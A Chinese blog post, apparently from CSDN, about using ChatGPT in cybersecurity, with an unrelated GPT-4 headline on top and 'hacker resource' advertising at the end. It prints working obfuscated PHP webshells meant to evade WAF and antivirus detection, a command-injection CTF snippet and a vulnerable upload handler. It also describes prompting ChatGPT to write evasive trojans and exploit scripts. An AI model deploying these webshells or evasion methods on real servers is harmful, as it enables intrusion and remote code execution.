GPT-4震撼发布:多模态大模型,直接升级ChatGPT、必应,开放API,游戏终结了?
GPT-4 实现了以下几个方面的飞跃式提升:强大的识图能力;文字输入限制提升至 2.5 万字;回答准确性显著提高;能够生成歌词、创意文本,实现风格变化。
这里浅谈ChatGPT-4在网络安全中的应用
前言
ChatGPT是美国人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具,最近ChatGPT又出圈了,之前已经在技术社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI产生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,于是我想知道它是否也能在网络安全领域实现一些它的价值呢,本文就这个话题来探讨一下它在网络安全里面一些应用和实践。
自身定位
在实践之前,我想向ChatGPT问一下它自己对于这个问题的回答是什么,即让它自己对信息安全领域起的作用进行一些分析,结果还是挺让人惊讶的:
它回答的十分全面,里面有一些内容连我自己都没有想到,于是我对探讨它在信息安全领域的作用的兴趣进一步加深,下面我便对它进行了一些测试。
构造恶意代码
这里就先以最简单的一句话木马为例,我向它提问是否能构造一个对网站产生威胁的恶意语句,AI很轻松的便回答出来了:
看来简单的恶意语句还是对它来说还是很轻松的,于是我继续向它提问一些进阶的问题,因为若我们要直接传入木马,大概率会被拦截,但可以尝试一些绕过方式来绕过设备的检测,举个例子,我用\x65编码字符串e,然后使用array类型进行混淆:
<?php array_map("ass\x65rt",(array)$_REQUEST['xino']);?> //1.php
通过上面的操作,一些危险函数就有可能绕过检测,于是我尝试让它用字符编码的方式来构造恶意木马:
AI完整的写完了,根据其代码逻辑实际上也是可以利用的,到这我继续加深难度:
可能是我尝试次数比较少的原因,并没有达到我理想的条件,或许再多增加一些限制条件会达到更好的效果,但是不难看出随着AI的逐渐进化,以后我们对一些WAF或杀毒软件进行测试时,可以结合AI来对产品代码进行分析,让AI构造出可以绕过的木马。
在测试时我还尝试让AI分析带有危险函数的代码,对下面这段恶意代码:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
这又给我们提供了一个思路,通过AI结合防火墙来达到动态分析恶意请求的想法,进而加强我们设备的安全性。
漏洞源码分析
尝试完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全,如果AI和它碰撞会产生什么样的火花呢?下面看一个例子:
我用一个简单的代码让其分析一下:
分析代码:<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){system($c);}
}else{highlight_file(__FILE__);
结果还是很方便理解的,给出了这段代码的作用以及过滤的所有字符,我们可以根据这些提示来进行渗透或者防护。从而减少了一些排查时间。
之后我让其分析一个简单的有文件上传漏洞的代码,这是一个比较实际的问题,因为出现文件上传漏洞的原因是各种各样的,比如之前文章提到的白名单绕过就是因为存在可控参数目录造成的,下面是含有漏洞的代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
经过了十几次的改善,给了我如下还算合理的回复:
虽然回答没啥毛病但这是经过十几次更新我筛选出来的,个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路,当然也可能是我提问的方式有问题,有时会出现答非所问的情况,不过我觉得随着技术更新这些小问题应该可以解决。
信息收集
在进行网站渗透时,基本的渗透流程可以参考下面我总结的图:
不管是网站信息或是网站所用服务的信息都是非常重要的,这会考察一个渗透人员的信息收集能力,收集到的信息越多对我们的渗透帮助越大,于是我想试试AI能否协助我们进行这个操作。
我试着用AI查询某网站的旁站,很快便列出了许多:
当然这只是最基础的,我们通过工具也可以进行查询,但AI搜索速度还是远远大于工具的,这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考,作为帮助我们渗透的工具,若我已经收集到了网站所用框架以及版本,我想问问它如何渗透:
这里AI给出了我们一个可利用的CVE漏洞,那么我继续向其提问具体利用方式:
就很有意思了,它真的给我们提供了一个脚本,先不提这个脚本,我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程,我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。
结语
目前ChatGPT为了防止恶意用户的应用,限制了对于主动构造攻击脚本的一些请求,这使得其不能展现更多的在网络安全领域的价值,本文结合我在之前收集的一些资料,简单分析了一下ChatGPT在网络安全领域的一些可能性,其中包含了一些已经实现和希望未来可以实现的一些想法,无论是AI构造代码或者进行全自动白盒分析,这都会对我们网络安全领域产生一些深远的影响,我希望这些想法可以在不远的未来实现。
黑客学习资源免费分享,保证100%免费!!!
需要的话可以点击:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
👉网安(黑客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(黑客红蓝对抗)所有方向的学习路线👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉黑客必备开发工具👈
工欲善其事必先利其器。学习黑客常用的开发软件都在这里了,给大家节省了很多时间。
这份完整版的网络安全(黑客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接即可前往获取【保证100%免费】。
需要的话可以点击CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享